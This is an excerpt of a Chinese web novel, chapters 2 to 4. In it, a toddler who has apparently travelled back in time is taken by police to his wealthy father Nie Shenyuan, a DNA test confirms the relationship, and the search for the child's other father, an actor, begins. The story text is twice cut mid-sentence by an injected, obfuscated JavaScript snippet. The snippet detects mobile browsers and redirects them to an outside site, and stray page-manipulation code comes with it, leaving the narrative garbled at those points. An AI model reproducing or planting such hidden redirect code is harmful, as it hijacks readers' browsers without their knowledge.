《丸辣~崽崽穿错时间线啦》 2. 第 2 章 合江区派出所。 一个小不点乖巧地坐在大板凳椅上，两只手捧着一次性纸杯小口小口地喝水。 一位男民警关注着他。 这个自称叫“元宝”的孩子，生得精致可爱。 衣服鞋子没有品牌logo，质地却是一等一的柔软舒适。 刚才他们把人从《红颜祸水》剧组的片场领过来后，经过一些问询和“合理推测”，已得知孩子的爸爸大概是姓“聂”。 该位家长应当是拥有极大的庄园别墅。 由于整个“问询”过程，太费口舌，以至于元宝说得口渴，软软地央求民警姨姨给点水喝。 于是年轻的男民警给他倒了一杯水。 中年女民警则在信息资料库寻找这一片姓“聂”的户主。 男民警觉得这乖小孩太好玩了，喝水时鼓动圆溜溜的腮帮子，小仓鼠似的。 女民警一边查看资料，一边低声说：“我们这里没有姓聂的男户主，临时居住来登记的也没有。要是刚搬过来，还没登记的话……” 元宝腾空的右脚轻轻地摆动一下。 他听懂了哦。 民警姨姨没找到大爸。 难道他来的太早，大爸还没有出生？ 唔…… 不对不对，大爸肯定出生了。 男民警就看到圆嘟嘟的脑袋兀自摇了摇，似乎是在进行某种思考。 他福至心灵地扭头道：“姐，我倒是知道一个姓聂的，住大别墅的。” 元宝咻的一下抬起脸，眸光炯炯。 没等同事问，男民警就道：“就前几年为了遗产闹得特别难看的聂家，后来是被放养的大儿子拿到了全部资产，叫……聂慎远！” 没等同事开口，元宝奶声奶气地“嗷”了一声：“是大爸啊~元宝大爸！~” 大富豪不给这么大的孩子配保镖，还让他自己走丢？ 这可不是开玩笑的。 两个大人迅速看向他，又对视一眼。 中年女民警推同事：“你快搜一下照片，让孩子看看。” 男民警拿起桌上手机，犯嘀咕：“这位富豪还真的是低调，我都很少在八卦杂志看到。” 他搜索几分钟才找到，“有了！当时的遗产风波里，记者拍到的！” 他将手机递到小崽崽面前，“小朋友，这里面有你爸爸吗？” 女民警也走过来，弯腰看手机。 横屏的照片里，一大堆媒体记者围追堵截，正装的保镖、律师则包围簇拥着最中间满面肃穆的高大男人。 男人戴着黑色墨镜。 但由于照片角度和现场闪光的缘故，能隐约看到他冷漠得不近人情的眼睛。 仿佛是一个找人的小游戏。 元宝立刻指着最熟悉的脸庞，笑眯眯地昂头看向两个大人：“是我的大爸哦。” 两位民警的神色较为复杂。 照片里人多、脸多，这孩子能一眼认出来证明的确是亲近的人。 但是这位聂先生…… 女民警看一眼照片下方的注解小字： 被亲友痛骂“冷血独裁、一毛不拔”的聂慎远。 她看到孩子满是期待的小脸：“小朋友，你别急，阿姨先打电话跟你家人确认。” 男民警则好奇地绕着元宝走了一圈：“你难不成是……” “私生子三个字”，被他压在舌头下面。 几个电话后，终于联系上聂家，并且获得“聂家并无三四岁大的孩子”为由而回绝。 女民警皱眉：“怎么回事，说是家里并没有孩子。” 两人再次对视，闪电间已经怀疑，这孩子极大可能真的是不被“冷血爸爸”承认的私生子。 按照传闻所言，聂慎远天生冷血，命里克亲，连叔伯兄弟亲戚朋友都懒得搭理，抛弃情人和孩子，简直是“情理之中”。 元宝伸出小手：“姨姨，可不可以送元宝去大宅啊？元宝想大爸了。” 童稚孩子的嗓音柔软，自带委屈感，又说着想见家人的话，让两位民警也于心不忍。 女民警道：“走吧，当面问问去！” 她抱起软嘟嘟的小幼崽，语调温柔，“小朋友不要怕，我们送你去家里谈谈情况。” 她让男民警拿车钥匙。 男民警转身去找钥匙，压低声音怒斥：“有钱就能乱丢小孩吗？管不好下半身的都给我骟了！少给社会添乱！” - 派出所的车，开到聂家大宅外。 刚停好车下来，元宝已经看到极为熟悉的大宅大门。 他从姨姨的怀里挣脱，一溜烟跑向门口。 此时，几个大宅的安保人员看到有外来车辆，同步从门岗工作间跑出来。 元宝吓得跌倒在地上。 女民警赶忙上前抱起孩子，拍拍他的裤子，同时解释身份和来意。 几名魁梧的安保人员听得一头雾水。 元宝委屈地央告：“可不可以告诉大爸，元宝来找他了。” 安保人员不敢置信地看一眼可爱的小幼崽，再看向两位民警同志：“你是说，你爸爸是聂先生？是哪个聂先生？” 男民警皱眉，刚才不已经说过了？ 显然是安保人员不信。 元宝刚才在派出所，想不起大爸的全名。 可现在不同了，他带着不知从何而来的骄傲，奶萌地强调：“聂慎远！” 安保人员面面相觑。 外人可能不知道，但他们却是清清楚楚。 聂先生为人，说的好听点是洁身自好，说的严重点是封建刻板，连早起晚睡的时间都有严格规矩，怎么可能越过领证结婚先生孩子？ 但两位民警就在眼前，安保人员也知这件事可大可小。 为首的道：“那你们稍等，我去联系管家，看看怎么处理。” 他对要开口的民警道：“聂先生今天有要紧事，早晨出门后，暂不在大宅里。” 他拿起通讯设备，联系上大宅内部的管家赵阿姨。 民警顺着大门的视线往里看，整片绿地的尽头才是一桩极其庄严庞大的宅邸。 目前所在的地方，距离真正的宅门，还有一段距离。 赵阿姨先让安保放行，让民警和孩子进接待外客的小别墅，说是立刻过去。 于是，一位安保人员开来一辆宅院内部使用的六人车。 元宝看到熟悉小车，开心地拍拍手，对姨姨说：“有的时候，大爸会开这个车车，带着我呜呜呜地开来开去~” 女民警的眉心紧皱，一时间不好判断。 抵达小别墅外。 元宝已经看到了另一张和蔼可亲的脸庞：“奶奶~~赵奶奶~~~” 这事儿很蹊跷，所以赵阿姨是跟家里另一个男管家同时前来，原本正在说话，听见这道声音一下子抬起脸。 她瞧见三四岁大的孩子正舞动手脚准备扑过来，可是的确从来没见过。“你认识我？” 元宝点点头。 是赵奶奶啊~ 但是旁边的伯伯他就不认得，疑惑地歪头观察。 这可说不清楚了。 聂家的所有人都觉得大事不妙，而两位民警则越发怀疑这位聂先生有“弃子”嫌疑。 赵阿姨把人请进去，立刻联系聂先生。 男民警问道：“你们这位聂先生什么时候回来？” 男管家为难的解释：“聂先生是去参加葬礼，所以……我们也不确定回大宅的时间。” “葬礼？” 这下男民警也不好再继续问。 - 荣城最大的殡仪馆。 名门汪家正在举行奠仪。 现场几个厅，都摆满了白色花圈与挽联，前来祭奠的多数是城中有头有脸的人物。 人人穿黑带白，一片乌压压。 灵堂前，原本有一些细细碎碎的闲谈声，坐在两旁的宾客也都在叹息汪家老爷子中风过世的意外。 此时，伴随着一声恭敬的“聂先生，这边请”。 披麻戴孝的汪家小辈，开始低头小声啜泣。 灵堂里的人停下说话声，一双双眼睛，齐齐往大门看去。 挺拔的年轻男人踏入灵堂，黑衬衣黑西服，如一团乌云一般出现。 他眉骨高，逆光之中深邃的眼窝呈现出少见的阴影，神色极为肃穆冷淡。 这周身的气质，即便不认识这张脸，也知此人出身不凡，目下无尘。 汪家老爷子那位四五十岁的独子俨然舞台上名角儿一般，小碎步冲去前面：“贤侄，你能来送老爷子最后一程，老爷子要是知道，一定是老怀安慰。” 聂慎远戴着黑色手套，虚扶一把这位长辈：“汪董，节哀。” 汪董见他没有要跟自己亲近的意思，也只得讪讪作罢，只请上前，瞻仰老爷子仪容，再与家属致礼。 角落中，有人道：“汪董？按照汪聂两家的关系，怎么说也得喊一声汪叔叔吧？” 另一人抬起手掌掩住嘴唇：“目中无人呗。汪老爷子生前这么欣赏他，现在人一走，估计他已经顶上汪家这块肥肉。” 顿了顿，他又道，“听说了吗？有人请了个命理大师，顺便让他看一眼聂的生辰，说他命硬克亲，所以聂家人一个一个被他克死。” “啊？真的假的？”挑起话头的人一直盯着聂慎远的身影，他显然有其他事情，对这话倒是不怎么在意。 平日里聂慎远身边不是助理就是保镖，很难近身。 今天难得孤身一人进入灵堂。 他整了整西装的领子，挺起胸膛，准备上前。 旁边的人按住他的小臂：“诶？贾少，干什么？”他眼睛一转，就知道他要去结交聂慎远，立刻提醒，“别去了，他不会给你脸色的。” 姓贾的男子年轻气盛，“不试试怎么知道？” 说完，站起身往刚刚落座的男人身侧走去。 只是，没等他走到聂慎远身边，就被一个大步流星的中年人给越过一个身位。 他正要皱眉，却见中年人俯身，恭敬地在聂慎远耳边说了几句，同时将手机交给他。 聂慎远立刻站起身，往外走。 俨然是有重要的电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606835|172088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话必须接听。 贾姓男子只得悻悻而归。 - 殡仪馆外的黑色轿车上。 聂慎远入座，在司机询问时，抬手示意他先别开。 他对手机道：“赵姨，什么事？” 赵阿姨在电话中说清来龙去脉。 司机见聂先生一直没有说话，悄悄在后视镜扫了一眼，便注意先生的浓眉皱起。 能让聂先生这样无所不能的人皱眉，司机实在是想不出什么麻烦事。 他无意识地也跟着皱眉。 正当聂慎远准备开口时，电话那头传来柔软奶萌的稚嫩嗓音。 “大爸爸！是元宝啊！” 随后是一阵嘈杂的多人声音。 “小朋友你别着急，我在跟聂先生说。” “……先坐在沙发上，不要乱跑。” 在聂慎远再次准备说话时，那一抹小嗓音又响起：“大爸爸是不是也不要小元宝？呜……” 无辜可怜的童音，伴随着大人的安慰声。 刚过而立之年的聂慎远，脑海中久违地再现儿时被父亲丢在门外雪地里挨饿受冻的陈年旧事。 他紧紧地抿着唇，冷淡的嗓音显得有些阴郁。“赵姨，我现在回大宅。” 随后，他挂断电话，交代助理留在殡仪馆，让司机开车回去。 - 影视城，《红颜祸水》剧组片场。 裴景元意识到今天点儿背。 先是莫名其妙地损失一个填肚子的胖胖蕉，越想越饿。 他望着女演员头顶的发冠装饰，都能出现炸鸡腿的影子。 随后是一组重拍的镜头，本来是他跟男一号的对戏，但男一号要去参加重要的商务活动，只能由替身来完成。 这场戏，裴景元恰好非常需要男一号给情绪反馈。 现在是替身背对镜头，对着他面无表情的“ABCDEFG”。 这导演对两位男女主角一点脾气都没有，简直是听之任之，但偏偏对配角是高标准、严要求，非常希望裴景元可以给出更好的反应。 于是，整个镜头抠角度抠光影足足从天亮拍到天黑。 裴景元饿得前胸贴后背，耐心地一遍一遍拍。 最终，连同导演在内的所有人，都佩服他的好脾气。 导演揽着他的肩膀拍了拍，语重心长地说：“小裴啊，你这种敬业程度，会红的，不要担心。” 只不过，他也很清楚，这种妖艳长相的男演员，的确戏路非常窄——比同类型的女演员更难以演到一番主角。 此时此刻，小裴·景元对“红”毫无感觉，他快饿死了。 “主要是张导调教得好，我特别乐意跟您学。希望以后您可以再多给我点儿机会。” 张导听得心里也舒坦。 客套两句后，裴景元终于“下班”。 看到黄理成的瞬间，裴景元扑上去：“救救我，我要成为影视城第一个饿死鬼了。” “兄弟，你平时少喝点‘土鸡汤’，多吃两口正经饭吧。都快成纸片人了！到时候人没红，先去医院了。”黄理成扶着他，“就近吃饭吧，烤肉怎么样？” “走走走！” 这时候裴景元啥都不挑。 影视城外有一整条街的餐馆，大大小小，丰俭由人。 在老板端来新鲜吊龙之前，裴景元已经猛吃半碗现成的蛋炒饭。 黄理成给他倒水，让他慢点吃。 裴景元突然放下筷子，抬起眼眸，盯着黄理成。 “又怎么了？” 裴景元满脸哀伤：“饿得太狠了，我下午背的台词好像忘光了。” 黄理成：“……” 此时，老板娘领着自家胖娃娃进来。 有一对开餐馆的父母，孩子的确从小就胖得合情合理。 裴景元瞧一眼，一个念头闪过：这个小朋友没有下午那个可爱。 等意识到自己在对三四的小孩子，进行残忍而不道德的颜值对比后，裴景元大骇： 天杀的，他怎么变成这种讨人厌的大人？ 正好小朋友扭头看过来，冲着长得帅气的哥哥咧开嘴微笑。 裴景元：(ΩДΩ) 良心受到一万点暴击。 他可真是个无耻混蛋。 黄理成看大一分钟八百个表情，无语地道：“诶？吃烤肉啊。别点这么多，回头又是我一个人吃光！” 裴景元按住不安的良心，低声说：“我下午遇到一个蛮可爱的小孩子。也不知道现在怎么样了。” “什么？”黄理成不解，没听懂这前言不搭后语的话。 裴景元解释一番，主要是强调小屁孩子抢他小米蕉的事情，隐去“大巴小巴”“生孩子”之类的怪话。 “我刚离开剧组的时候，问场务，说是民警带走了。” 黄理成给他夹菜，理所当然地说：“那你担心什么？合江区的派出所做事情多认真，远近闻名。肯定送回家去了。” 裴景元看向滋滋冒油的吊龙，想着那软嘟嘟的小屁孩。 哎，他也想回家了。 3. 第 3 章 从殡仪馆到聂家大宅，驱车一共三十分钟。 司机老沈听聂先生打了一个电话。 让人去查，远在美国的异母弟弟，是否有私生子。 老沈当时在等红灯，听见“私生子”这几个字时，后颈的汗毛直竖，车内冷气凭空降低三度。 等车子启动时，他假装看后车情况，抬眼飞速扫过后视镜。 好死不死，聂先生正望来。 黑眸如冷潭，沉沉不语。 老沈吓得吞咽口水，连忙装作什么都没听见，继续开车。 在聂家供职多年，他只很自己“知道得太多”。 聂家三代人为争夺滔天的权柄，充斥着野蛮残忍。 作为“私生子”的二少爷，在羽翼未丰之际，仗着父亲喜爱，不知天高地厚地挑衅长兄。 最终不啻于是被人用刀架在脖子上一般，被驱逐出聂家，永远不得回国。 连他们父亲的葬礼，都不得出席； 登报的讣告，也被除名。 所有经历过这一场“家族血腥内斗”的人，包括老沈与诸多雇佣，全都深切明白一个道理： “私生子”三个字，是永生永世扎在聂先生脊梁骨里的一把尖刀。 不拔，痛楚彻骨； 拔了，血流满身。 所以哪里又跑出来一个“私生子”？ 还敢出现在聂先生耳朵里？ - 大宅。 由于元宝认得赵阿姨，甚至说得出大宅大体的布局，以至于现场大人心下各有判断。 两位民警推测，孩子在大宅住过，但家里人由于某种缘故不想要他。 这可是涉嫌遗弃幼童，情节相当严重。 赵阿姨结束通话后，拉着男管家走到旁边的房间。 他们完全没办法把这圆脸奶萌的小幼崽与独来独往的聂先生联系在一起，四目相对就已经有一个模糊的猜测。 “该不会是二少……” 赵阿姨紧着眉心摇了摇头，示意他别说下去。 即便是事实，也不能说出口。 男管家越想越笃定。 一个没有在大宅生活过一天的小孩子如何可以如此熟悉？ 除非有人故意亲口告诉他。 就那么凑巧，二少爷大概是四年前被送出国。 不排除这风流成性的少爷在国内留的孩子。 等两人回大厅。 刚才被抱回沙发的小元宝嘟嘟脸，软绵绵地央求：“赵奶奶~元宝好饿哦。” 这么大的孩子，耷拉着一双大眼睛，小脸满是无辜难过。 谁看到都替他难受。 赵阿姨听他一喊自己，的确是心里酸啾啾，暂不管是谁的孩子，就道：“奶奶让人弄吃的来。” 元宝抿着小嘴唇，轻轻点点头。 赵阿姨拿出通讯设备让主宅的厨房准备点孩子能吃的小点心。 元宝歪头，小小声：“元宝可以吃薯条吗？” 他伸出一根食指晃了晃，认真解释“这样大的薯条。” 赵阿姨为难：“小朋友，我们家里没有薯条这类吃的，吃别的点心可以吗？面包？” 虽然心愿不能满足，但元宝却没有表现出失望。 因为按照大爸小爸制定的“饮食规则”，他一周只能吃一次大薯条。 刚巧，他昨天刚吃过，大爸炸的。 赵阿姨瞧着他，不免起恻隐之心，联系主宅的厨房时，让多准备点吃的送过来。 两位民警第N次对视：这家人怎么回事？ 他们感觉需要联系派出所，再多派点人来。 - 等元宝吃上可口精致的小点心时，才听见脚步声，咻的一下抬起圆嘟嘟的小脸，欣喜万分：“大爸爸~~~~~” 小手小脚同时抬起，一个标准的幼崽求抱抱姿势。 三人同时走进大厅，气势陡然高压。 民警站起身，他们原本以为这位聂先生不会轻易出现在他们面前，没想到还愿意露面。 只是他们也发觉，周身肃杀的聂先生，都没有看他们一眼，那双冰冷的眼睛直直地望向幼童。 这次不是外界传言，两人已经真切感受到此人的极端冷漠。 转瞬间，聂慎远才若无其事地望向民警：“你们好，我需要同这位小朋友单独谈谈。” 谈谈？ 这话未免也显得太过正式。 在民警犹豫见，聂慎远身后的人上前一步，递名片：“你们好，我是聂先生的律师。” 在律师与民警沟通时，元宝如一团软软的年糕，滑溜下沙发。 他飞快地越过大人，一把抱住大爸的长腿，仰头呼唤：“大爸~~~是元宝啊~~” 聂慎远垂眸看着腿上黏着的一团热气，皱了皱眉。 赵阿姨吓得赶紧上前抱开这孩子：“小朋友，乖啊，不能乱认爸爸的。” 律师一番沟通后，民警答应给他们几分钟“谈话”。 - 一层的小会客厅。 元宝被赵奶奶抱上硬邦邦的中式圈椅，气鼓鼓地扭过小身体，不看大爸。 聂慎远就坐在他对面。 赵阿姨见聂先生神色阴郁，也不开口，便只能打圆场：“小朋友，你不是要找……聂先生？现在他都到了，你说话？” 元宝小鼻头发出“哼”的一声。 很气。 不认识他的小爸，都会在他扑过去地时候伸手抱他呢！ 凶凶的大爸！ 赵阿姨电话中已经提过这孩子了解大宅和认识自己。 聂慎远示意她先出去。 赵阿姨无法，只得离开。 好一会儿，聂慎远解开西装扣，推开衣摆，往后靠在椅背上：“除了看到我就喊，你爸还怎么教你的？” 元宝没听懂这话，但听过大爸这种语气，是在公司和叔叔伯伯讲话。 他用力深呼吸，小胸膛一起一伏，气炸了。 算啦！ 元宝去跟警察姨姨说，他要住孤儿院！ 聂慎远拧眉地看着面前的动静。 这一团小东西，终于转过脸来，瞪起一双圆溜溜的大眼睛，熟练地滑下有点高的圈椅。 他两只奶白的小手，简直跟猫爪子似的按在茶几上，奶凶奶凶地低声嚷嚷，发出最后的“威胁”。 “小元宝当孤儿的话，大爸也要变成一个人了！” 聂慎远眼底毫无波澜。 他做惯了孤家寡人。 元宝见大爸不为所动，也没有跟以前一样抱他，温柔地哄他，气得两团小奶膘发抖。 大眼睛一瞥，注意到大爸耳上的两根白发。 他拿出最后的杀手锏：“再也不要让小爸给大爸拔白头发了！就让大爸的头发一直变白！” 聂慎远终于有所反应。 从少年时代，他耳朵靠上的位置，就有几缕白发，怎么都处理不掉。 他自己不在意，只是已故的父亲总拿这几根白头发说事。 元宝终于看到大爸的眼神发生微妙变化。 他又不是真的想当孤儿，还想吃大爸亲手炸的大薯条呢。 于是他嘟嘟嘴，开始说自己做梦来看大爸小爸的事情。 巨大的信息量里，还夹杂着一些有关于聂慎远的生活细节。 “大爸喜欢空调开得很低很低，然后就用毯子把小爸和元宝都包起来抱住~” 说到最后，元宝再次按住桌子，气势如虹地俯身，小奶音直冲天际：“大爸！元宝是你老来得子的宝贝啊！” 门外。 正准备敲门的周律师：“……？” 这是他可以听见的话吗？ 他立刻连退三步。 聂慎远看着黄口小儿：“看来你爸人出国的这些年，心思都在聂家大宅。” 元宝蹙起小眉毛：？大爸在说什么东西哦？！ 聂慎远盯着小脸：“你爸长得歪瓜裂枣，你倒是青出于蓝。” 元宝：“？” 没听懂，但像是坏话。 更气了。 元宝跺脚。 此时，传来敲门声。 “进来。” 周律师推门，刚才那个“老来得子”让他没敢往里走。 他也跟赵阿姨一样，基本判定二少爷的孩子。 “聂先生，私人医院负责DNA检测的人已经抵达，我问了，最新技术可以立刻出初步结果。” 他看一眼望向自己的小幼崽，又看向沉眉的聂先生，惊奇地发现，两双眉形真的有些形似，只是眉色一浓一淡。 如果说外甥像舅，那侄子像叔叔，也非常合理？ 聂慎远见他话没说完就顿住，抬眸看他。 周律师收回联想：“孩子太小，两位民警需要在场看到检测结果再做处理。” 元宝低头碎碎念：“孩子太小？可是大爸要赶走我呢！” 周律师惊恐：你这孩子在阴阳怪气谁啊？啊这…… 聂慎远没多做思考，基本有个判断。 他起身。 元宝仰头看向高高的大爸，亮晶晶的眼睛里充满希冀。 聂慎远没作反应，径直往外走，示意周律师来处理下。 周律师惶恐，赶忙进来同小幼崽解释要做的检测是怎么回事。 元宝听懂了。 原来是大爸不相信他的话，要做确认。 周律师生怕他当场哭给自己看。 他在法庭多年巧舌如簧，但唯独不会安慰小崽子，却没想这孩子重重叹了气。 原本圆鼓鼓的小肚子，都随着一声叹息变瘪了。 元宝嘟嘟囔囔：“小爸说得对哦，大爸真是好烦。” 周律师：……？这又是谁？居然敢说这种话。 元宝摇摇头，一副“好吧好吧，看在是我大爸的份儿上我原谅他这么麻烦了”的小表情。 他拍拍小手，反过来奶声奶气地安慰：“陌生叔叔，我不会哭哭，你不要害怕哦。” 周律师心想：头脑简单的二少爷，为何能生出如此聪明孩子？ 基因变异？ 还是往聂先生的方向变的？ 啊这…… - 民警和管家、律师等人先回避，检测人员留下做检测。 不管验出来是什么情况，都是头等大事。 所有人都严阵以待。 按照当前技术，必然是验血更准确。 检测人员重新强调一遍后，聂慎远看了眼坐在最远处的小幼崽。 元宝被抱过来后，就特意挑选一个与大爸直线距离最远的位置。 他要用自己的行动表明态度 ——这很重要！！！ 聂慎远沉沉地望着他几秒钟，转而道：“他验头发。” 同时他摘下一直戴着的黑色手套。 意思是他扎针取血。 其他人心里想，聂先生估计是怕孩子疼得大哭大闹，才退而求其次。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606836|172088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>元宝经过陌生姨姨的解释，知道头发可以帮助他验证和大爸的关系，便乖乖地歪头由姨姨梳头发。 幸好，梳下一根带毛囊的，不需要拔取。 验证再快也需要一点时间。 元宝双目如炬地盯着大爸，仿佛在监视他的一举一动。 聂慎远面无表情地望向小幼崽。 几秒后。 小崽子咻的一下出手，摸走一块点心，一边小口小口地抿一边瞪着大爸，满眼挑衅。 聂慎远大概是人生头一回跟这么小的孩子打交道。 他甚至闪过一个荒诞的念头： 等这孩子长大，应该比那个大脑空空的私生子有意思。 此时，检测人员里出现小骚动。 负责人惊讶地看着手里及时显现的DNA对比，不停地刷新好几遍，几人面露难色。 聂慎远看过去：“结果如何？” 负责人赶忙将平板递过去：“聂先生，这……” 聂慎远望向检测结果。 【亲子关系概率值经计算为99.9999%】 聂慎远皱眉看向检测负责人。 负责人第一次意识到“黄豆大的冷汗”并不是一句夸张描写。 他此刻的脸上，就滑过这样一颗“巨大”的冷汗。 他硬着头皮解释：“根据几项数据显示，您的确是这孩子生……生物学上的父亲。” 聂慎远将平板甩进他手里：“你们的检测仪器有问题。” 他非常笃定，过去多年，从未与任何女性发生过关系。 只有他自己清楚，他的性取向特殊。 负责人吓得接住平板的手在抖，“可……也可能是孩子用头发的缘故，所以……” 聂慎远重新看向孩子的眼神已经变得极为复杂，充满了审视。 科技发展到某种程度，的确并不需要性行为就能孕育一个孩子。 但是…… 在场的人神色一变，同样看向无知无觉的懵懂幼崽。 元宝却超乎所有人的想象，弯起眼眸，昂起下巴，得意非凡：“哼！现在知道元宝没有骗人了叭？” 聂慎远想起这孩子刚才说过的“睡前许愿过来想看婚礼”之类的话。 他抬眸，示意检测人员出去。 他们巴不得原地消失。 等再次剩下一大一小，聂慎远看着他：“再说一遍你刚才说过的穿越。” 元宝气咻咻：“大爸一点都不礼貌，要说‘请可爱的小元宝说’！” 空气安静下来。 聂慎远虽然刚才说了“检测仪器”有问题，但结合幼崽的话…… 但是幼崽嘴里这句话，他绝无可能说出口。 他语气有点冷的反问：“你说未来的我是你大爸，未来的我是这么跟你说话？” “未来的大爸一回家就抱起小元宝，举高高，亲亲脸蛋，每天都这样啊~” 元宝说起这些事情，小脸就满溢童稚天真的甜软笑容，小手指戳戳小奶膘。 “大爸说亲亲这里会长出小酒窝哦~” 聂慎远如听天书。 一个人的认知决定了他可以想象的世界。 至少目前31岁的聂慎远，仅凭想象力，根本无法相信，自己会做出如此反常的亲昵举动。 “呼~” 元宝看着大爸满脸冷肃，知道他不相信。 周律师再度敲门进来，瞧着一大一小古怪的对峙，来请示怎么处理后续。 聂慎远目不转睛地看着小幼崽，交代道：“明天再安排一次详细检测。” 周律师也没敢问“孩子怎么处理”，静静地等。 几秒种后，聂慎远给出明确指示：“安排住下。” 周律师大脑转过“住哪里？主宅还是偏宅？”，但嘴巴已经闭上。 他先离开，让管家去安排。 聂慎远望着忽然开始扭动的小幼崽：“你出现这件事，暂时不要告诉其他人。” 元宝的小手捂住嘴巴，分开手指露出一点点，呜哩呜哩地说：“元宝只跟小爸和大爸说哦。” 他觉得大爸看自己的表情已经不那么凶凶了，歪头问，“大爸，可以抱元宝了吗？” 聂慎远的前半生，虽说该经历的都经历过，现在遇到什么都波澜不惊，但他的确很难适应“凭空出现一个小孩”。 在幼崽充满期待的眼神中，他的薄唇动了动。“你过来。” 元宝：……好气哦，要抱抱还要自己走过去。 他滑下沙发，跑到大爸的长腿边，伸出小手摇了摇。 聂慎远意识到自己从来没有抱过小孩，维持着僵硬的姿势没动。 “……” 小元宝叹气，只能自己爬上大爸的膝头，侧身坐在腿上，费劲巴拉地坐好后，小脸贴在大爸的西装领子上，小奶猫似的蹭了蹭，软软地轻唤，“大爸~~” 聂慎远低头看着小幼崽，搭在扶手上的手，轻微地动了动手指，仿佛某种暗藏在血缘里的冲动，让他下意识要去抚摸孩子的头发。 他天生疑心病重，除了自己谁都不曾信任。 这一刻，他决定暂且相信未来的自己。 他动作极其别扭地摸了摸细软柔顺的头发。 在小幼崽抬头的瞬间，他松开手重新垂落在扶手上。 聂慎远对上澄澈干净的眼睛：“要说什么？” 元宝忽然抬起小拳头，敲击大爸的手臂，凶巴巴地命令：“大爸快点带元宝去找小爸啊！” 4. 第 4 章 翌日早晨。 裴景元已经醒来，但在被子里腻咕。 他从小就有赖床的小毛病，长大后也没有完全改掉。 两米长的被子，有一半叫他卷抱在怀里，跟抱着一个玩偶似的。 “嘿嘿……” 他闭着眼，想起昨天趁机刮了一个小幼崽的奶膘，忍不住发出轻笑声。 此时，原木的床头柜传来震动声。 裴景元翻个身，眯眼去摸手机，半张脸俊秀的藏在被子里。 看清楚是公司来电，他轻咳两声才接通。“喂？” “小裴，我已经往你邮箱发了一个链接，需要你在10点前填好更新。” 裴景元的眼眸陡然睁开，微翘的眼尾拉长眼形，精致之中又显得很机敏。“韩总又要给我们算命？” 手机那头传来非常轻的笑声。 “只是大家正常更新资料而已，不是算命。” 影视经纪公司的老板，韩总，业内有名的迷信人士。 半年前，韩总才请过一位玄学大师到公司给旗下艺人看面相。 大师说好几个艺人都是“命带桃花”，人缘极佳，在娱乐圈必然会有极高的人气。 等轮到裴景元进去，大师端详他半晌，尤其盯着他那双狭长的狐狸眼，最后只对韩总笑着说：“这位年轻人难得有殊色，又眉中藏痣，福气很大啊。” 没多说别的。 韩总一听，也说不出坏处来。 但很明显“裴景元有福气”跟他能给公司赚钱，是两码事。 随后，韩总就让裴景元出去了，改下一个人进去继续相看。 当时裴景元就在琢磨，这次看相有没有什么具体影响。 好在一切照旧。 所以他刚才有此一问。 他抬高手机，查看时间：“我尽量在九点五十之前发给你资料，麻烦了。” “客气什么。” 对方语笑嫣嫣，态度可亲。 结束通话后，裴景元从床上弹跳起身。 T恤下摆掠起，露出一截比衣服更白皙的窄腰。 随着他站起的动作，一根细细的红线，沿着腰线微落，轻箍在腰上。 红线上固定着一排如珍珠般的小金珠，在晨光里散发着小小的光点。 他掀开笔记本电脑，轻声咕哝：“让我来看看什么链接。” 原是公司艺人资料表，包含一些常规的身份信息、家庭情况、参演经历（角色）等等。 很多都是以前填写过。 只是家庭这一栏…… 他稍微一停顿思考，依旧按照之前的版本，在说明栏写清楚“父母双亡，法律层面唯一亲人是外婆”。 按照要求，他上传上个月刚拍摄的最新演员卡。 五个不同角度的照片和身高三围等。 点击提交后，裴景元哼歌去洗手间洗漱。 同一时间。 聂家大宅通往聂家私人医院的路上，一辆色调沉稳的灰黑色轿车正在平稳行驶。 前后各有一辆轿车，保驾护航。 灰黑轿车的后排，高雅低调的座椅上，配备了一个鹅黄的儿童安全座椅。 圆嘟嘟的小幼崽正乖乖地窝在里面。 以聂慎远的视角，怎么看怎么像是旁边坐着个流心奶黄包。 安全椅是元宝昨晚千挑万选的款式与颜色。 为了满足他随时出门的需求，一共购置三款不同颜色的安全椅。 昨天晚餐时，聂慎远拿到医院做的第二份检测，第二次确认他和孩子之间的父子关系。 今天这一趟，是为了送孩子去医院做健康检查。 毕竟是闻所未闻的“穿越”，他需要确保孩子的身体机能一切正常。 正当聂慎远思索时，右侧胳膊感受到轻微的小动静。 小奶黄包伸出一根细细的手指，正在一下一下地戳他。 聂慎远侧过脸，“嗯？” 元宝微微昂起小脸，嘟嘴：“大爸找到小爸了吗？” 昨晚，他已经将小爸的名字告诉大爸。 尽管他还太小，不清楚如何书写小爸的全名，可他确定自己的“发音”是毫无问题——因为他从记事开始，就听大爸称呼小爸“景元”。 至于姓氏，就更好记。 元宝记得自己大名叫“裴知意”，也记得大爸说过，他跟小爸一个姓。 聂慎远清晰地看到润泽的大眼睛里闪烁的期许。 “暂时没有。” 元宝不可思议地张开小嘴巴，变成一个惊讶的“O”。 原来无所不能的大爸，在没有遇到小爸之前，是这么笨笨的吗？ 元宝不再询问，甚至擅自结束对话。 随着“呼~”的一声不明所以的小奶音，他的小身体转向车窗外。 才相处不到24小时，聂慎远自然是不知道他这副模样是意欲何为。 他扫了眼孩子轻微晃动的小脚：“你有什么要说？” 司机老沈听见这话的内容与低沉的语调，心中默默地想： 聂先生这是还没习惯跟三岁大的孩子相处呢，这话听起来也太怪异了。 当然，他设想，如果聂先生突然如其他家长一样对着孩子说亲昵的话，他也会觉得很怪。 真是叫人左右为难呐。 